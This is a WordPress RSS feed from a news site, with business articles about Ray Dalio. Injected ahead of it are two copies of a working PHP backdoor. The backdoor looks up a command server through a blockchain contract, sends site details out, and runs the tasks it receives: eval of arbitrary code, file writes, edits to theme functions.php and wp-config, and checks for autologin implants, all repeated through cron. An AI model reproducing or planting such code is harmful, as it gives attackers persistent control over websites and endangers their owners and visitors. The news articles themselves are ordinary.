// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Dalio – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 28 Jun 2018 09:28:38 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Dalio – Brief News https://briefnews.eu 32 32 A YouTuber combined an EDM mix from Goldman Sachs’ future CEO with a video by hedge fund legend Ray Dalio — and it’s as weird as it sounds https://briefnews.eu/a-youtuber-combined-an-edm-mix-from-goldman-sachs-future-ceo-with-a-video-by-hedge-fund-legend-ray-dalio-and-its-as-weird-as-it-sounds/ https://briefnews.eu/a-youtuber-combined-an-edm-mix-from-goldman-sachs-future-ceo-with-a-video-by-hedge-fund-legend-ray-dalio-and-its-as-weird-as-it-sounds/#respond Thu, 28 Jun 2018 09:28:38 +0000 http://briefnews.eu/a-youtuber-combined-an-edm-mix-from-goldman-sachs-future-ceo-with-a-video-by-hedge-fund-legend-ray-dalio-and-its-as-weird-as-it-sounds/ Screen Shot 2018 06 28 at 09.48.52YouTiube

  • A YouTuber has combined the music of Goldman Sachs President David Solomon with a motivational video from Bridgewater Associates founder Ray Dalio.
  • Solomon creates music under the name DJ D-Sol, and has over 425,000 monthly listeners on Spotify.
  • Check out the video below.

Wall Street’s song of the summer is almost certainly going to be a dance remix of Fleetwood Mac’s 1977 hit “Don’t Stop.”

That’s because it was produced by David Solomon, the president and future CEO of Goldman Sachs.

See the rest of the story at Business Insider

NOW WATCH: Former Wall Street CEO reveals how most financial products designed for women completely miss the point

See Also:

SEE ALSO: Goldman’s CEO-in-waiting just released his first electronic dance single, a remix of a popular Fleetwood Mac song, and it’s already a hot song of the summer on Spotify

]]> https://briefnews.eu/a-youtuber-combined-an-edm-mix-from-goldman-sachs-future-ceo-with-a-video-by-hedge-fund-legend-ray-dalio-and-its-as-weird-as-it-sounds/feed/ 0 I tried the 10/10/10 Method to make decisions like Warren Buffett and Ray Dalio — and it’s completely changed the way I view choices https://briefnews.eu/i-tried-the-101010-method-to-make-decisions-like-warren-buffett-and-ray-dalio-and-its-completely-changed-the-way-i-view-choices/ https://briefnews.eu/i-tried-the-101010-method-to-make-decisions-like-warren-buffett-and-ray-dalio-and-its-completely-changed-the-way-i-view-choices/#respond Sat, 21 Oct 2017 20:21:07 +0000 http://briefnews.eu/i-tried-the-101010-method-to-make-decisions-like-warren-buffett-and-ray-dalio-and-its-completely-changed-the-way-i-view-choices/ GettyImages 492446672Paul Morigi/Getty Images for Fortune/Time Inc

  • Our immediate reactions and emotions affect the decision-making process.
  • Warren Buffett and Ray Dalio are two proponents of using high-level thinking to evaluate the future affects of our decisions.
  • To master high-level thinking, step back from immediacy and use the 10/10/10 Method. 
  • Ask yourself: How will I feel about this in 10 minutes, 1o months, and 10 years? 
  • If you make this method a habit, over time you’ll begin to make decisions that benefit you in the long-term.


“I can calculate the motion of heavenly bodies but not the madness of people.”

Those words are often attributed to Isaac Newton. They may evoke a chuckle, but they get to the root of a problem faced by us all — irrational behavior.

Making decisions is one of keystone actions we all take on a consistent basis, and we’re all faced with an abundance of options that lead us in conflicting directions. It’s hard not to be irrational.

It doesn’t help that part of our brain is wired like we still live in hunter and gatherer societies where short-term impulses took precedent.

It made sense then because not reacting to impulses inspired by fear or anger could lead to death in the wild, but that’s no longer the case. In a modern society, short-term decisions are no longer the most optimal.

Yet, our short-sighted brain patterns continue to dominate how we interact with the world. There is obviously a time and a place where that’s welcomed (things like love and beauty and even anger have their place), but to function well, it’s important to make distinctions, too.

How we feel about something in the moment isn’t always the best predictor of how we’ll feel about it over a period. The thing that we’re focused on today and tomorrow may not be the thing that matters most in the scheme of things.

There is a bigger picture out there worth being aware of.

The value of high-level thinking

One of the things that differentiates people who consistently align their actions and decisions with what they want and people who don’t is not just long-term thinking, but also a form of high-level thinking.

As Ray Dalio, the manager of the largest hedge fund in the world, says:

“People who overweight the first-order consequences of their decisions and ignore the effects that the second- and subsequent-order consequences will have on their goals rarely reach their goals.”

GettyImages 187749224Larry Busacca/Getty Images for The New York Times

This is something that both Warren Buffett and his long-term partner Charlie Munger also talk about a lot, and it’s critical in all facets of life. 

Being able to step back from immediacy and use high-level thinking to evaluate the effects of your actions and decisions beyond just the initially visible cause and effect relationship is an indispensable quality, and it’s how smart people make good long-term decisions.

Naturally, the problem is that it’s hard. It’s not intuitive to how we think and feel, and as a result even if we know the idea, it doesn’t always register.

Fortunately, I think I’ve stumbled across a way.

GettyImages 1972914Eric Francis/Getty Images

The 10/10/10 Method

I first came across this method in an article by Stanford professor Chip Heath. I’ve since applied it to both my personal relationships and my work.

The idea is fairly simple. Any time I feel a slight conflict about a decision or an action, I take a moment to ask myself the following three questions:

  • How will I feel about it in 10 minutes?
  • How will I feel about it in 10 months?
  • How will I feel about it in 10 years?

A good example would be a trip I was considering a few months ago.

Over the past year, I’ve been working quite a bit. It’s something I’ve enjoyed, and it’s also something I’m grateful to do, but I’ve made compromises to do so.

Many of my close friends are scattered all over the country (Canada) and the world, and I generally try to make a few trips a year, when I can, to make sure that I’m not losing touch with people that matter to me. I’ve done this fairly consistently over the past few years, but this year has been different.

Due to my work load, that priority slipped quite a bit, and even when a good opportunity came up a few months ago, I was hesitant for weeks.

I made all sorts of rationalizations as to why I should delay the trip and I kept postponing my decision, even though I didn’t feel great about it.

Eventually, I asked the questions.

How will I feel 10 minutes after booking? — “I’ll likely be a little conflicted, but slowly, I know I’ll get excited about seeing old friends and catching up.”

How will I feel 10 months after the trip? — “There is almost no chance that I’ll look back and wish that I had continued to postpone my plans until now.”

How will I feel 10 years after the trip? — “The extra work I may have done will be completely irrelevant, but I’ll probably still treasure the memories I made.”

I took the trip, and as always, it was one for the books.

The takeaway

The quality of your daily decisions informs the quality of your life.

Whether it’s at home or at work, high-level thinking enables a kind of objectivity when considering options. It allows you to balance the conflicting forces in your mind with the incentives of reality.

You’re obviously not going to solve every problem you have using this method, but you would be surprised at how well you can diagnose most of them.

Whether it’s sticking to a diet, managing your priorities, or finding the courage to face a fear, all you have to do is ask yourself three questions.

If you make a habit out of it, over time, you’ll train your brain to automatically analyze second and third-order consequences of different actions. That’s one of the most powerful mental advantages there is.

There is a reason investors like Dalio, Buffett, and Munger succeed over such long periods of time. They don’t let negative emotions or shortsightedness get in their way because they’ve learned to calibrate their decision-making process to the outcomes that they deem desirable.

With the 10/10/10 method, there is no reason you can’t do the same.

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]]> https://briefnews.eu/i-tried-the-101010-method-to-make-decisions-like-warren-buffett-and-ray-dalio-and-its-completely-changed-the-way-i-view-choices/feed/ 0 Bridgewater Associates Founder Ray Dalio Explains His _Principles_ of Success https://briefnews.eu/bridgewater-associates-founder-ray-dalio-explains-his-_principles_-of-success/ https://briefnews.eu/bridgewater-associates-founder-ray-dalio-explains-his-_principles_-of-success/#respond Tue, 26 Sep 2017 12:20:16 +0000 http://briefnews.eu/bridgewater-associates-founder-ray-dalio-explains-his-_principles_-of-success/ How Ray Dalio used data to transcend his ego and get rich doing it.


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]]> https://briefnews.eu/bridgewater-associates-founder-ray-dalio-explains-his-_principles_-of-success/feed/ 0 Bridgewater founder Ray Dalio says he’s going to take a lower profile once his book tours end https://briefnews.eu/bridgewater-founder-ray-dalio-says-hes-going-to-take-a-lower-profile-once-his-book-tours-end/ https://briefnews.eu/bridgewater-founder-ray-dalio-says-hes-going-to-take-a-lower-profile-once-his-book-tours-end/#respond Sat, 16 Sep 2017 05:52:44 +0000 http://briefnews.eu/bridgewater-founder-ray-dalio-says-hes-going-to-take-a-lower-profile-once-his-book-tours-end/ ray dalioBridgewater Associates

Bridgewater Associates founder Ray Dalio is on tour for his first book, “Principles: Life and Work” and it’s one of the last times you’ll see him embrace the spotlight, he told Business Insider.

As the head of the world’s largest hedge fund, with $ 150 billion in total assets under management, Dalio generally avoided the media for the majority of his career.

But when his firm gained increased interest in the mainstream media after it emerged strong from the 2007-08 financial crisis, which then led to further interest in Bridgewater’s highly unusual culture of “radical truth” and “radical transparency,” he became a regular topic of Wall Street coverage.

Dalio, 68, completed his seven-year transition from leading Bridgewater’s management this year but remains as chairman and co-CIO. To him, he said, it marked the beginning of the third phase of his life, where he will share with the world the management lessons he’s learned — hence the book and its accompanying tour, as well as his complementary TED Talk from April.

But that doesn’t mean he’s enjoyed putting himself out there. In the introduction to the autobiographical aspect of his book, he notes that he still has “mixed feelings about telling my personal story,” and adds “I wouldn’t mind if you decided to skip this part of the book.”

He told us that while he knew that making himself more public and going on a book tour would be difficult for him, he was faced with a choice to either work through his fear and share his message, or let his principles be analyzed without his input.

“When you have discomfort, do you let discomfort stand in the way of doing what you think is the right thing?” he said, about this final choice he faced as head of management. “And I couldn’t make my last decision that way. I didn’t make my other decisions that way. So while it’s uncomfortable, it’s tolerable, and I feel that I’ve handled this the way that I needed to handle it.”

